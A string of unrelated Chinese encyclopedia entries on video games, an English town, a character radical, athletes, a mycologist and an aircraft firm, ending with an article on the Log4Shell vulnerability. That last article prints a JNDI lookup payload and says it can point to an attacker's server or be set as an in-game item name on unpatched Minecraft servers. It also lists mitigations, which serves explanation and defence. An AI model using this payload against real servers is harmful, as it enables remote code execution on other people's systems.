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奇婭
游戏玩法

《奇婭》是一款以第三人稱視角遊玩的開放世界動作冒險遊戲，提供了包括英语、法语、俄语、中文、德语在内的多种语言的字幕。玩家控制主角奇婭對島嶼進行探索，從統治群島的殘酷暴君Meavora手下營救她被綁架的父親。本作最大的特色，是奇婭所擁有的「靈魂跳躍」能力，使用该能力，奇娅可以操控周遭的動物或者是無機物，併利用它們的力量移動到新的區域、解決難題併打敗敵人。 實機演示當中，通過灵魂跳跃，玩家附身一条狗并利用它的挖掘能力挖掘出藏寶圖。根據開發者Phil Crifo的說法，玩家可以靈魂跳躍至逾30種動物和“數百種”物體上。游戏中的动作系统包括奔跑、跳跃、攀爬、潜行、滑翔等等，受到體力值的限制，體力也承擔了血量的作用，受到敵人攻擊時體力會消耗。
奇婭使用她的人类形态探索群岛。她裝備滑翔傘與木筏，便于在不同地點之間快速移動。奇婭身手矯健，能够快速滑下山、爬上樹併把自己彈射出去，甚至攀登幾乎所有材質的錶面。通過探索，玩家將發現不同的任務點、小遊戲和裝有服飾的寶箱，結識其他NPC，併完成支線任務，在冒险途中，玩家將解锁手电筒、弹弓、指南针、照相机等等各式各样好玩又有用的工具。 《奇婭》同時包含节奏游戏元素，弹出小调自娱自乐，或者是与群岛之上的其他居民们合奏一曲：可以彈奏的尤克里里将会自始至终在游戏中陪伴着玩家。在节奏小游戏部分，尤克里里将会成为关键工具，玩家也可選擇在开放世界中随时弹奏先前已经解锁的乐曲，触发包括吸引动物或者是求雨在内的一系列特殊事件。上述所有的非主綫游戲均可跳过。奇婭的外貌，以及她的滑翔傘和木筏，均可自由地進行定制。
游戲開發

《奇婭》由位於加拿大蒙特利爾的12人独立游戏工作室Awaceb開發。游戏设定虚构出一個群島，大部分參考了新喀里多尼亚群島——一个太平洋島國，Aweceb的兩位创始人Thierry Boura和Phil Crifo出生长大的地方。新喀里多尼亚群島當地的卡纳克文化是該团队灵感的主要来源。該工作室的目標之一，是向玩家展示當兩人還是孩子的時候，用兒童視角探索新喀裏多尼亞的感覺。工作室的大部分成員前往利佛進行為期兩周的游戲背景采風，併嚮原住民演示了他們的游戲。与新喀里多尼亚的当地人相似，游戏中的角色会说法语和德赫胡语；由于缺少德赫胡语的专业配音演员，工作室一度找不到配音演員為游戏录制台词，創作團隊而且还将与融合当地自然声音采样的原创管弦乐曲一起放入游戲中，意在让玩家體驗身临其境之感。在描述中，奇婭的性格“富有好奇心”而“有点天真”。在她慢慢探索世界的过程中，她逐渐遇到了不同的NPC，並幫助他們解決了紛爭，打破了不同部族閒的壁壘。靈魂出竅能力的灵感来自新喀里多尼亚民間流傳的关于變身的传说。
評價

根据评分收集網站Metacritic的说法，《奇婭》收穫了“普遍好评”的評價，截至2023年5月，该游戏已售出100万份。
2023年5月18日，《奇婭》入圍2023開發者獎最佳游戲獎最終輪。
2023年12月，游戏获得游戏大奖2023的“最佳影响力游戏”奖项，由吉田修平上台代为领奖。
參考與引用

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伍德布里奇

| 伍德布里奇 Woodbridge |
| --- | --- |

坐标：52°05′38″N 1°19′12″E﻿ / ﻿52.0939°N 1.32°E﻿ / 52.0939; 1.32
主權國家: 英国
國家: 英格蘭
: 東英格蘭
人口（2011年普查）
 • 總計: 7,749人
郵鎮（郵區）: WOODBRIDGE（IP12）
電話區號: 01394

OS 格網參考: TM272491
區: Suffolk Coastal
郡份: 薩福克郡

警察: 萨福克郡警察
消防: Suffolk
救護: 英格兰东部救护服务局
 
英國國會選區: 薩福克海岸
 
伍德布里奇（英語：），又譯木橋鎮，是英國英格蘭東盎格利亞薩福克郡的一個城鎮，位於葉士域治東北7英里（11公里）和倫敦東北約74英里（119公里）處。2011年人口為7749人。當地有一家業餘足球俱樂部。
參考資料

↑  .   [2015-09-14]. [永久]
田部

此條目介紹的是汉字部首。关于日本古代土地和身份制度，请见「」。
田部，為漢字索引中的部首之一，康熙字典214個部首中的第一百〇二個（五劃的則為第八個）。在中文中，田部歸於五劃部首。田部通常是從上、下、左方均可為部字。且無其他部首可用者將部首歸為田部。
部首單字解釋

1.種植農作物的土地。見說文。
2.土地的泛稱。見玉篇。
3.耕種。
4.打獵。
5.姓。見史記 · 田單列傳。
甲：ㄐㄧㄚˇ，①天干的第一位。②草木種子的外殼。③動物堅硬的外殼、昆蟲堅硬的外骨骼，大都由角質構成。④古代戰士所穿的革製護身衣。⑤戰士、被甲的戰士。見廣韻。⑥居於首位。⑦舊時戶政編制名，十家為一甲。⑧臺灣面積單位名，一甲等於9699.17平方公尺、2934坪。⑨假設的代名詞。⑩超群出眾。⑪最優秀的。
申：ㄕㄣ，①表明、陳述。②一再重複，表次數。見廣韻。③伸張、舒展，同「伸」。見集韻。④上海市的簡稱。⑤地支的第九位，參見「申」。⑥時辰名。午後三點到五點鐘為申時。⑦姓。見左傳 · 定四年。⑧古國名，約今河南南陽縣以北。⑨生肖名，指猴。⑩訓誡。
由：ㄧㄡˊ，①原因。②因為。③聽任、聽從、隨意。④從、自。⑤遵循。⑥經歷。⑦憑恃。⑧通猶。⑴像、好比。⑵還、尚且。⑶似、若。⑨萌芽。⑩表所從出、表因果。⑪於。⑫姓。
甴：ㄓㄚˊ，參「曱甴」條目。
：的俗體。
字形

甲骨文
金文
大篆
小篆
名稱

漢語：田部　（拼音：tiánbù　注音：ㄊㄧㄢˊ ㄅㄨˋ）
日語：
朝鲜語：
字例

| 除部首外之筆劃 | 字例 -{ |
| --- | --- |
0: 田甲申由甴电
1: 甶
2: 㽕㽖㽗𤰖町甼男甸甹
3: 畄甾画畀畁甽甿畂畃
4: 㽚㽘㽙畊畋界畍畎畏畆畇畈畉畐畑畒畓
5: 㽛㽜畚畛畜畝畞畟畔畕畖畗畘留
6: 㽝㽞畡畢畣畤畦畧略畩異
7: 㽟㽠𤲌𤲂番畫畬畭畮畯畲畳
8: 㽡㽢㽣㽤𤲞𤲟畺畵當畷畸畹
9: 㽥畻畼畽畱
10: 㽦㽧㽨𤲼𤳄𤳆𤳇畾畿
11: 㽩𤳉疀疁疂
12: 㽪𤳙𤳢疃疄
13: 㽫㽬𤳧𤳨疅
14: 㽭𤳰疆疇
15: 㽮𤳱𤳷𤳸疈
16: 𤳽
17: 疊疉
18: 㽯
20: 𤴆
25: 𤴏 }-
另見

维基词典中的词条「」。
|  论 编康熙部首 |
| --- | --- |
一画:  一  丨  丶  丿  乙（乚）  亅 
二画:  二  亠  人（亻）    入  八  冂  冖  冫    凵  刀（刂）  力  勹  匕  匚  匸  十  卜  卩（㔾）    厶  又 
三画:  口  囗  土  士  夂  夊  夕  大  女  子  宀  寸  小  尢    屮  山  巛（川）  工  己（已巳）  巾        廴  廾  弋  弓  彐（彑⺕）  彡  彳 
四画:  心（忄⺗）  戈    手（扌龵）  支  攴（攵）  文    斤  方  （旡）  日  曰  月  木  欠  止  歹（歺）  殳  毋（母）  比  毛  氏    水（氵氺）  火（灬）  爪（爫）  父  爻  爿  片  牙  牛  犬（犭） 
五画:  玄  玉（𤣩）  瓜  瓦  甘  生  用  田  疋（𤴔）  疒  癶  白  皮  皿  目  矛  矢  石  示（⺬礻）  禸  禾  穴  立 
六画:  竹（⺮）  米  糸（）  缶  （罒罓⺳）  羊  羽  老（耂）  而  耒  耳  聿（⺻）  肉（⺼）  臣  自  至  臼（𦥑）  舌  舛  舟  艮  色  艸（艹）  虍    血  行  衣（衤）  襾（覀西） 
七画:    角  言（）    豆  豕  豸    赤  走  足（𧾷）  身    辛  辰  辵（⻍辶）  邑（⻏，在右）  酉  釆   
八画:  金（）  （镸）    阜（⻖，在左）    隹  雨    非 
九画:    革    韭  音        食（𩙿）  首  香 
十画:    骨  高  髟    鬯  鬲  鬼 
十一画:        鹿    麻 
十二至十七畫:  12画   黍  黑  黹  13画   鼎  鼓  鼠  14画 鼻    15画   16画     17画 龠 
|  论 编简体中文部首 |
| --- | --- |
一画: -{ 一  丨  丿  丶  乛（亅乚乙）}-
二画: -{ 十  厂（𠂆）  匚  卜（⺊）  冂（⺆）  八（丷）  人（亻入）  勹  儿  匕  几（𠘨）  亠  冫  冖  凵  卩（㔾）  刀（刂⺈）  力  又  厶  廴}-
三画: -{ 干  工  土（士）  艹（艸）  寸  廾  大  尢（兀尣）  弋  小（⺌）  口  囗  山  巾  彳  彡  夕  夂  丬（爿）  广  门（門）  宀  辶（辵）  彐（⺕彑）  尸  己（已巳）  弓  子  屮  女  飞（飛）  马（馬）  幺  巛}-
四画: -{ 王（𤣩玉）  无（旡）  韦（韋）  木（朩）  支  犬（犭）  歹（歺）  车（車）  牙  戈  比  瓦  止  攴（攵）  日（曰⺜）  贝（貝）  水（氵氺）  见（見）  牛（牜）  手（扌龵）  气  毛  长（镸長）  片  斤  爪（爫）  父  月（⺝）  氏  欠  风（風）  殳  文  方  火（灬）  斗  户  心（忄⺗）  毋（母）}-
五画: -{ 示（礻）  甘  石  龙（龍）  业  目  田  罒  皿  生  矢  禾  白  瓜  鸟（鳥）  疒  立  穴  疋（𤴔）  皮  癶  矛}-
六画: -{ 耒  老（耂）  耳  臣  覀（西）  而  页（頁）  至  虍（虎）  虫  肉  缶  舌  竹（𥫗）  臼（𦥑）  自  血  舟  色  齐（齊）  衣（衤）  羊（⺶𦍌）  米  聿（肀⺻）  艮  羽  糸（纟糹）}-
七画: -{ 麦（麥）  走  赤  豆  酉  辰  豕  卤（鹵）  里  足（𧾷）  邑（⻏，在右）  身  釆  谷  豸  龟（龜）  角  言（讠）  辛}-
八画: -{ 青  龺（）  雨（⻗）  非  齿（齒）  黾（黽）  隹  阜（⻖，在左）  金（钅）  鱼（魚）  隶}-
九画: -{ 革  面  韭  骨  香  鬼  食（饣飠）  音  首}-
十画: -{ 髟  鬲  鬥  高}-
十一画: -{ 黄  麻  鹿}-
十二画: -{ 鼎  黑  黍}-
十三画: -{ 鼓  鼠}-
十四画: -{ 鼻}-
十七画: 
模板展示了《GF 0011-2009 汉字部首表》列出的201个主部首和100个附形部首，“（）”内为附形部首
馬拉特·伊茲邁洛夫

馬拉特·伊茲邁洛夫
馬拉特·伊茲邁洛夫（俄语：，韃靼語：，羅馬化：Marat Nail ulı İzmaylov}，1982年9月21日—）是俄羅斯的一位足球運動員。在場上司職中場。他現在效力于葡萄牙足球超級聯賽球隊波爾圖足球俱樂部他也代表俄羅斯國家足球隊參賽。
陷陣之志

| 陷陣之志 |
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类型: 回合制策略
平台: Microsoft Windows，macOS，Nintendo Switch
开发商: Subset Games
发行商: Subset Games
设计师: 賈斯汀·馬（Justin Ma） 馬修·戴維斯（Matthew Davis）
编剧: 克里斯·阿維隆（英语：）
音乐: 本·普倫提（英语：）
模式: 單人
发行日: Microsoft Windows 2018年2月27日 macOS 2018年8月9日 Linux TBD Nintendo Switch 2018年8月28日
《陷陣之志》（英语：）是一款由賈斯汀·馬（Justin Ma）和馬修·戴維斯（Matthew Davis）領導，並以中國為根據地的工作室Subset Games開發並發行的回合制策略遊戲，為該工作室繼《超越光速》後的第二部作品。其Microsoft Windows版在2018年2月27日發行，macOS和Nintendo Switch則是在同年8月公開發售。
《陷陣之志》在發布後獲得高度的評價，並被評為2018年最出色的PC遊戲之一，也因如此入圍多個獎項，其中捧走2018年遊戲大獎最佳策略遊戲、遊戲開發者選擇獎最佳遊戲設計以及英國學院遊戲獎的最佳原創遊戲等。
遊戲玩法

《陷陣之志》的背景設在遙遠的未來，當時的人類需要對抗一群被統一稱作「維克」（Vek）的巨型怪物軍團。為了與它們作戰，玩家控制的士兵需要操作配備各種武器、裝甲和其他裝備的巨型機甲。遊戲採用回合制戰鬥系統，允許玩家協調其團隊的行動，對敵人的攻擊作出回應或反制。許多玩家都把《陷陣之志》與國際象棋的玩法作比較，原因是它不講求壓制對手，而是要在位置控制和犧牲單位上以獲得更大的優勢。
在戰鬥中，玩家要控制三個不同的機甲與「維克」對抗，同時亦需要完成一個在固定回合內達成的目標。每個地圖的主要目標都是保護為機甲供電的民用建築，否則民用建築受損或遭破壞便會影響到玩家機甲的電網，但系統也可能給出另一個目標予玩家。在每一回合裡，「維克」的部隊會移動至地圖的其中一處並向玩家攻擊，玩家可以通過觀察它們將要攻擊的方向、其剩餘的移動次數及生命值作出反制。另外，每個回合都會出現新的「維克」，這使得玩家有能力去操作每一部機甲以擊敗、攻退或攔截它們，或是避開攻擊、阻止新「維克」的生成與其對民用建築的攻擊。機甲在戰鬥中時只可以承受有限的傷害，否則玩家將無法操控它們，避免此事發生的唯一方法是讓機甲空轉，以回復一定血量，直至前往下一地圖回復所有生命值。擊殺「維克」的駕駛員可以獲得用來解鎖新技能的經驗值。
與《超越光速》一樣，《陷陣之志》同樣被分成一系列的島嶼，而每一個島嶼都有不同的場景。雖然每個場景在遊戲中均維持不變，但它們本身是以Roguelike的方式在程序上生成的。在完成第一個任務後，玩家可以在地圖中選擇前往下一座島嶼，而各個島嶼亦擁有各自的影響戰鬥情景的條件。完成達成難度越高的條件可以獲取較豐富的獎勵，反之則較少。當三部機甲均失去戰鬥能力、機甲的電網全損或未能保護好地圖的目標時，遊戲便會結束，玩家到此可以選擇把其中一位已方駕駛員送回至第一次任務開始前，以保留他們當前的經驗和能力，並在下一場戰鬥中佔據優勢。《Rock, Paper, Shotgun》的評論員了解到《陷陣之志》有時空旅行的元素後，便把該作比喻為《環太平洋》和《明日边缘》的結合體。另外，玩家在完成里程碑後可獲得包括新飛行員或機甲組合在內的新物品。
開發

在《超越光速》大獲好評後，《陷陣之志》的雛型隨即出現在由賈斯汀·馬（Justin Ma）和馬修·戴維斯（Matthew Davis）的腦海中。他們嘗試為作品設計各種原型，包括因《XCOM：未知敵人（英语：）》的出現而再次在遊戲界活躍、以網格為基礎的戰鬥系統。另外，馬和戴維斯也著手讓《陷陣之志》以附帶損害的影響為主軸，以便玩家把保衛建築物和其他結構視作優先事項，而不僅僅是帶走勝利。
隨著遊戲劇情進度的發展，《陷陣之志》在巨型機甲與巨型外星人戰鬥時加入了一些特效，包括山脈被夷平、森林遭燒燬和建築物被夷為平地等。為了在遊戲玩法中強調這一點，遊系有一個機甲是由建築物的電源節點供電，所以若建築物受損的話，它們可能無法為機甲提供動力。這令玩家進退兩難，要在摧毀建築物以在戰鬥中獲得短期優勢，或防止建築物遭損毀間作決擇。為了進一步指明玩家需保護建築物的重要性，系統會提醒他們在操縱機甲戰火戰鬥時，有NPC正在建築物內苟延殘息，並且他們被殺或建築物被毀時會對駕駛員造成情感上的影響。與即便是簡單戰鬥也需要約一小時才能完成所有目標的《XCOM》相反，Subset希望縮減每場《陷陣之志》戰鬥的用時。開發團隊通過限制回合數以維持戰鬥的短暫性，同時透露「維克」的下一步行動亦可加快戰鬥的完結速度。
Subset在完成所有對《超越光速》的承諾，確保能夠把資金專注於下一部作品後，《陷陣之志》在2015年中期開始開發。2017年2月，Subset正式公佈該作正在開發的消息，並將發行在Microsoft Windows、macOS和Nintendo Switch三大平台上，但他們亦表示不會在同一時間內發佈全部版本。開發團隊同時透露《陷陣之志》仍需要一段時間來開發，原因是他們仍缺乏很多遊戲內容，並且希望以自己的節奏完善作品，即使他們已有初步的構思和已繪畫出的美術圖。《Rock, Paper, Shotgun》認為Subset會在2017年11月發佈《陷陣之志》的早期預覽版本，並應解決所有除美術圖和平衡之外的問題，同時他們也預期開發團隊會在2018年初發佈遊戲。最終Subset把發行日期定在2018年2月27日。
克里斯·阿維隆（英语：）為《陷陣之志》的劇本家，社群管理和用戶測試由伊絲拉·沙努爾（Isla Schanuel）負責，Power Up Audio負責音訊，波琳娜·利斯托娃（Polina Hristova）則協助馬繪製美術圖。而負責譜寫前作音樂的普倫提亦在該作回歸，這次他的作曲風格與《FTL》一樣，都是使用通常與故事無關的音樂，但普倫提和Subset都對風格的走向感到苦惱，特別是他們覺得戰略遊戲的音樂應該是柔和而安靜的。馬隨後向普倫提分享了2CELLOS在東京都港區三得利音樂廳演奏，並原先收錄在電影《全面啟動》原聲帶內，由漢斯·季默所譜的《蒙巴薩》（Mombasa）版本，而這也啟發了普倫提以類似的風格，譜寫出《陷陣之志》的第一首曲子，亦即是在首部遊戲預告片中使用的BGM。除了數位音樂外，他還加入了一些吉他即興演奏，譜製出出現在整個原聲帶中的樂想。此外，普倫提亦為Subset確定在遊戲中使用音樂的時機，他建議只有當玩家在地圖上完成對機甲的部署時才開始播放配樂，而不單是循環播放音樂。
《陷陣之志》的Windows版本在2018年2月27日發行，macOS版本在同年8月9日發售。至於Nintendo Switch版本則在2018年8月28日發行。2020年4月20日，游戏更新1.2版本，加入了简体中文在内的9种新游戏语言。
评价

《陷陣之志》在發行後獲得大致好評，評論家大多讚賞其雖然簡樸但卻擁有具高難度和戰略性的遊戲玩法，以及優秀的藝術風格和配樂。在Metacritic上，遊戲根據56條評論獲得90/100分，屬「一致讚賞」級別，也使它成為該匯總媒體網站在2018年的其中一款最佳PC遊戲。
IGN的的丹·斯塔普爾頓（Dan Stapleton）給予《陷陣之志》9/10的高分，形容其各式各樣的任務和技能使它成為最出色的小遊戲之一，其中在何時犧牲自己的機甲或讓建築物受傷害兩者間作決定，便是該作精心策劃的平衡之一，但他抱怨指最終戰有點虎頭蛇尾，因為它與已經戰鬥過的頭目戰沒什麼不同。GameSpot的埃德蒙·陳（Edmond Tran）同樣為《陷陣之志》打出9/10分，除了在評論的開頭便說其是「機械化的大師之作」外，還大讚該作有著很高的重玩價值、清晰有力的視聽設計和多樣化的遊戲風格。而Game Informer的（Matt Miller）則為《陷陣之志》評出9.25/10的高分，指該作可以隨時遊玩且每次都可以找到新的事物，並表示Subset Game為《超越光速》製作了一部非凡的後續作品。
评价 > 獎項與提名

| 年份 | 獎項 | 類別 | 結果 | 來源 |
| --- | --- | --- | --- | --- |
| 2018 | 獨立遊戲節獎 | 謝默斯·麥克納利大獎 | 提名 |  |
| 2018 | 獨立遊戲節獎 | 最佳遊戲設計 | 提名 |  |
| 2018 | 金搖桿獎 | 最佳獨立遊戲 | 提名 |  |
| 2018 | 金搖桿獎 | 年度PC遊戲 | 提名 |  |
| 2018 | 金搖桿獎 | 年度終極遊戲 | 提名 |  |
| 2018 | 遊戲大獎 | 最佳策略遊戲 | 獲獎 |  |
| 2018 | 遊戲玩家選擇獎（英语：） | 最受粉絲歡迎策略遊戲 | 提名 |  |
| 2018 | 澳洲遊戲大獎 | 年度策略遊戲 | 提名 |  |
| 2018 | Giant Bomb年度遊戲大獎 | 最佳首次亮相 | 季軍 |  |
| 2018 | Giant Bomb年度遊戲大獎 | 年度最佳遊戲 | 季軍 |  |
| 2019 | 紐約遊戲大獎 | 外百老匯最佳獨立遊戲 | 提名 |  |
| 2019 | D.I.C.E.奖 | 年度策略/模擬遊戲 | 獲獎 |  |
| 2019 | D.I.C.E.奖 | 傑出獨立遊戲成就 | 提名 |  |
| 2019 | D.I.C.E.奖 | 傑出遊戲設計成就 | 提名 |  |
| 2019 | D.I.C.E.奖 | 年度最佳遊戲 | 提名 |  |
| 2019 | NAVGTR獎 | 最佳新IP設計 | 提名 |  |
| 2019 | NAVGTR獎 | 最佳策略遊戲 | 提名 |  |
| 2019 | NAVGTR獎 | 最佳新IP原創輕快混合配樂 | 提名 |  |
| 2019 | 西南偏南遊戲獎（英语：） | 最佳設計 | 提名 |  |
| 2019 | 游戏开发者选择奖 | 最佳設計 | 獲獎 |  |
| 2019 | 英国学院游戏奖 | 最佳設計 | 提名 |  |
| 2019 | 英国学院游戏奖 | 最佳原創遊戲 | 獲獎 |  |
| 2019 | 意大利電子遊戲獎 | 最佳原創遊戲 | 提名 |  |
參考資料

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外部連結

官方网站
在2019年遊戲開發者選擇獎的賈斯汀·馬（左）和馬修·戴維斯
赫爾曼·法夫

| 赫爾曼·法夫 |
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出生: (1913-05-30)1913年5月30日 荷蘭溫斯霍滕
逝世: 2001年8月24日(2001歲—08—24)（88歲） 加勒比海
知名于: 酵母菌研究
配偶: Diane

學術背景
母校: 代尔夫特理工大学
博士導師: 梅納德·喬斯林（英语：）
其他学术导师: 阿尔贝特·克吕沃尔 埃米爾·木拉克
學術工作
學科: 微生物学
研究機構: 加利福尼亞大學戴維斯分校
博士生: 阿諾德·德曼（英语：）
 
赫爾曼·法夫（英語：；1913年5月30日—2001年8月24日）是出生於荷蘭的美國真菌學家、加利福尼亞大學戴維斯分校教授，他的專業領域為酵母菌，職業生涯中收集了上千種酵母菌菌株，並發表了約60種酵母菌的分類單元。
生平

赫爾曼·法夫於1913年出生於荷蘭溫斯霍滕，其父母經營一酒莊，因此法夫自幼即對用於釀酒與發酵的微生物感興趣。法夫畢業於台夫特高等技術學院（今台夫特理工大學），主修化學工程，學士論文主題為真菌的果膠酶，指導教授為阿爾貝特·克呂沃爾。畢業後法夫在克呂沃爾推薦下赴美國柏克萊加利福尼亞大學攻讀博士學位，他一度在埃米爾·木拉克的實驗室做研究並受其影響甚深，後來他以梅納德·喬斯林（英语：）與霍瑞斯·巴克（英语：）為指導教授，於1943年獲博士學位，論文主題為酵母菌的分類、生態與生理。
獲博士學位後，法夫初在柏克萊加利福尼亞大學食品科學系任教，後於1954年隨食品科學系轉移至至加利福尼亞大學戴維斯分校，他與學生阿諾德·德曼（英语：）、合作者陸伯勛等人共同發表數篇酵母菌主題的論文。1983年法夫名義上自大學退休，但仍維持其實驗室並每日進行研究工作。法夫曾擔任《細菌學期刊（英语：）》、《加拿大微生物學期刊（英语：）》與《國際系統與演化微生物學期刊（英语：）》等學術期刊的編輯。
法夫畢生收集了自世界各地動物、植物與土壤樣本上採集的超過6000個酵母菌菌株，包括超過400種物種，現名為法夫酵母培養收藏（），為酵母菌分類研究的重要資源。截至2022年，法夫酵母培養收藏已有超過9000個菌株，包括超過1000種物種，其中80%的菌株無法自其他來源取得。
個人生活

在學術研究之外，法夫是戴維斯喜歌劇公司（Davis Comic Opera Company）與加利福尼亞大學戴維斯分校交響樂團（UC Davis symphony orchesta）的創始成員，1959年曾在後者的開幕音樂會演奏。
發表分類單元

法夫發表的分類單元包括黑迪氏畢赤酵母（英语：）（Pichia heedii）、加勒比畢赤酵母（Pichia caribaea）、Candida caseinolytica、Pichia deserticola（瑞典语：）、Candida deserticola、Pichia scutulata、Saccharomycopsis fermentans（瑞典语：）、Sporobolomyces singularis、Bullera tsugae、Cryptococcus skinneri、俄勒岡念珠菌（Candida oregonensis）與白冬孢酵母屬（Leucosporidium）等。
紀念

1976年發表的擔子菌門酵母菌屬红法夫酵母属（英语：），以及1997年發表的子囊菌門酵母菌屬法夫菌屬（英语：）學名皆為向赫爾曼·法夫對酵母菌分類的研究致敬。
2003年，欧洲微生物学会联合会（英语：）（FEMS）舉辦的一場研討會以赫爾曼·法夫為名 。
參考文獻

真菌主题
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国际:  ISNI  VIAF  WorldCat 
各地:  挪威  以色列  美国  日本  荷兰 
学术:  国际植物名称索引 
其他:  SNAC  IdRef 
红法夫酵母（英语：）
陳怡萱

| 陈怡萱 |
| --- | --- |
出生: 1997年11月27日 台湾
国籍:  中華民國
教育程度: 学士
母校: 国立台湾师范大学
职业: 女子篮球运动员
陳怡萱（1997年11月27日—）為臺灣女子籃球運動員，現效力於電信女籃。陳怡萱出身桃園忠貞國小，國中到宜蘭就讀員山國中，國中畢業後回到桃園讀高中，讀未滿一學期就轉學到治平高中，只替治平打了幾場比賽就休學，在國中教練以及南湖高中教練鄭維宜鼓勵下重返球場降轉南湖，大學進入國立臺灣師範大學就讀，大四擔任球隊的副隊長，2021年7月在WSBL選秀第一輪第二順位獲得電信女籃青睞。
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外部連結

陳怡萱在Eurobasket.com（球員）（英语）
|  论 编中華電信球員名單 |
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 張家瑄  梁瑜玲  0 陳怡萱  1 霍利維  2 潘姿吟  3 許庭瑜  4 徐詩涵  6 陳靳豫萱  7 劉惠茹  9 吳明臻  11 陳芷英  12 黃湘婷  13 王竫婷  23 陳雅彤  30 林玉書  31 楊婉琳  88 王游乙文 
教練團:  楊志豪（教練）  陳允中（教練）  楊婷羚（防護師）  胡妤瑄（防護師）
帕那維亞飛機公司

| Panavia Aircraft GmbH 帕那維亞飛機公司 |
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代表帕那維亞飛機公司跨國合作的國籍標誌
公司類型: 跨國公司
成立: 1969年3月29日
創辦人: 英國飛機公司 
代表人物: Dr. Welf-Werner Degel 常務董事（Managing Director）  Jeffrey Quill OBE AFC  董事（Director）
總部:  德国 巴伐利亞州 哈爾貝格莫斯 （Hallbergmoos，Bavaria，West Germany）
業務範圍:  英国  義大利  德国
产业: 國防工業
產品: 龍卷風戰鬥轟炸機（Panavia Tornado）
員工人數: 84 
母公司: 空中巴士公司（Airbus）  英國航太系統公司（BAE Systems） 阿萊尼亞（Alenia Aeronautica S.p.A.）
网站: www.panavia.de
帕那維亞飛機公司（英文：Panavia Aircraft GmbH）成立於1969年3月29日，是一家由德國（西德）、英國、意大利共同建立的跨國公司。成立之初的目的是各夥伴國合作研發並製造龍卷風戰鬥轟炸機（MRCA項目）。
龍卷風戰鬥轟炸機是帕那維亞飛機公司的最主要產品。
結構

該公司註冊於西德。自公司成立以來，公司的總部一直設在德國的哈爾貝格莫斯。
現時帕那維亞飛機公司由三個夥伴國共同擁有，包括：

資料來源：
42.5%由德國的空中巴士防務和航太公司擁有。（原本為Messerschmitt-Bölkow-Blohm公司，後來經過併購與更名）
42.5%由英國的英國航太系統公司擁有。
15%由意大利的李奧納多公司擁有。（原本為FIAT Aviazione公司，後來經過併購與更名）
歷史

在20世紀60年代末，西德和意大利都需要一架擁有更短程的攻擊機（類似於美國的A-10），而英國則需要更遠程的攻擊機。於是三國在倫敦曾舉行過有關新戰機的合作談判。
歷史 > 組織始末

帕那維亞飛機公司成立於1969年，由英國、德國與意大利共同創立。它計劃生產超過1000架的龍捲風戰機。設計之初主要是需要應對來自當時蘇聯的戰鬥機，如米格-25和蘇-15的潛在威脅。最後幾經波折，龍捲風戰機便正式立項。
歷史 > 龍捲風戰機

龍捲風戰機的設計工作始於1969年至1970年。項目定義階段的結論在1970年5月出爐，概念剔除了二個設計案；德國最初更喜歡同時生產單座Panavia 100和雙座位Panavia 200設計案和後來會成為龍捲風的皇家空軍可翼設計案共三種飛機。
但這時機型單一化成為其他國家的共同結論，因為可以有效減低成本。且皇家空軍此時決定它更需要空優型戰鬥機，和創立名為F2的變形機型。等於要強力主導全部設計，引起德國極大不滿；雖然和德國的會談初期嚴重破裂，但它的缺點迅速折衷成了F3型以符合所有國家的需求。
此後，龍捲風戰機被多次改良，並衍生了多種版本，包括IDS、ADV與ECR三種版本。現在仍然服役於英、德、意空軍中。
歷史 > 共同管理

三國首次的合作，為日後歐洲戰機的合作研發帶來了美好的發展。龍捲風戰機的管理模式，被後來稱為歐洲戰鬥機的颱風戰鬥機所延續，其三個夥伴國包括英國、意大利與德國共同建立了歐洲戰機公司，不論組織架構抑或目標都與帕那維亞飛機公司所相似。
外部連結

Panavia 官方網站 （页面存档备份，存于）
參考來源

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龍卷風戰鬥轟炸機使用可變後掠翼設計。
英國皇家空軍的龍卷風戰鬥轟炸機。
Log4Shell

Log4Shell指Log4j 2.0（Log4J2）的一个零日远程代码执行漏洞，公共漏洞和暴露编号（CVE）为CVE-2021-44228 （页面存档备份，存于）。被定性为“过去十年来最大、最关键的漏洞”
事件经过

阿里巴巴集团于2021年11月24日发现并报告给Apache，并于12月9日在推文中发布了一个涉及 Log4j 2 中远程代码执行的零日漏洞，其描述符为“Log4Shell”，受影响的服务包括Cloudflare、iCloud、我的世界：Java版、 Steam、腾讯QQ和推特。Apache软件基金会分配了最大CVSS Log4Shell 的严重等级为10，因为数百万台服务器可能容易受到该漏洞的攻击。网络安全公司Tenable（英语：）将该漏洞描述为“过去十年中最大、最关键的漏洞”，Lunasec的Free Wortley将其描述为“灾难性的设计失败”。
在美国，网络安全和基础设施安全局主任Jen Easterly（英语：）称该漏洞利用“至关重要”，并建议供应商优先考虑软件更新，和德国机构联邦信息安全办公室（BSI）将该漏洞指定为处于最高威胁级别，称其为“极其严重的威胁情况”。加拿大网络安全中心（英语：）呼吁各组织立即采取行动。
可以通过配置设置禁用导致漏洞的功能，该设置已在 Log4j 版本 2.15.0-rc1（2021年12月6日正式发布，漏洞发布前三天）中删除 ，并替换为各种设置限制远程查找，从而减轻漏洞。为提高安全性，此漏洞所基于的所有使用JNDI的功能将默认禁用，并且从版本 2.16.0 开始删除对消息查找的支持。
官方的Minecraft：Java 版启动器已修补此漏洞。使用自定义启动器或自定义 Java 版本可能意味着客户端尚未打补丁。在没有修补此漏洞的服务器上玩游戏将允许服务器上的任何玩家在另一个客户端的计算机上执行潜在的恶意代码。在 1.18.1 以上的版本上玩单人游戏或多人游戏将防止此漏洞。低于 1.7 的版本不受影响。如果游戏服务器主机运行的是 Minecraft 1.7-1.18 版本，则必须专门修补其服务器，如果不这样做，任何玩家都可以使用此漏洞。
利用方法

在一个没有修复该漏洞的Minecraft多人游戏服务器（如Minecraft1.12.2）通过聊天框发送该信息，示例如下：
${jndi:ldap://wikipedia.org}
其中“wikipedia.org”可替换为攻击者的恶意网站，例如DNSLog，发送后攻击者客户端也会卡死崩溃，输出为：
ReadTimeoutException : null
攻击者也可以将剑命名为该信息杀死人来触发该漏洞（在部分多人服务器被称为崩服剑）。
防范方法

在服务器上打补丁或者更新相应组件
在服务器上安装聊天过滤插件禁止用户发送此类消息（通常禁止用户发送第一个字符为“$”的消息）来达到防范目的
使用JVM参数关闭该功能：-Dlog4j2.formatMsgNoLookups=true
参考资料

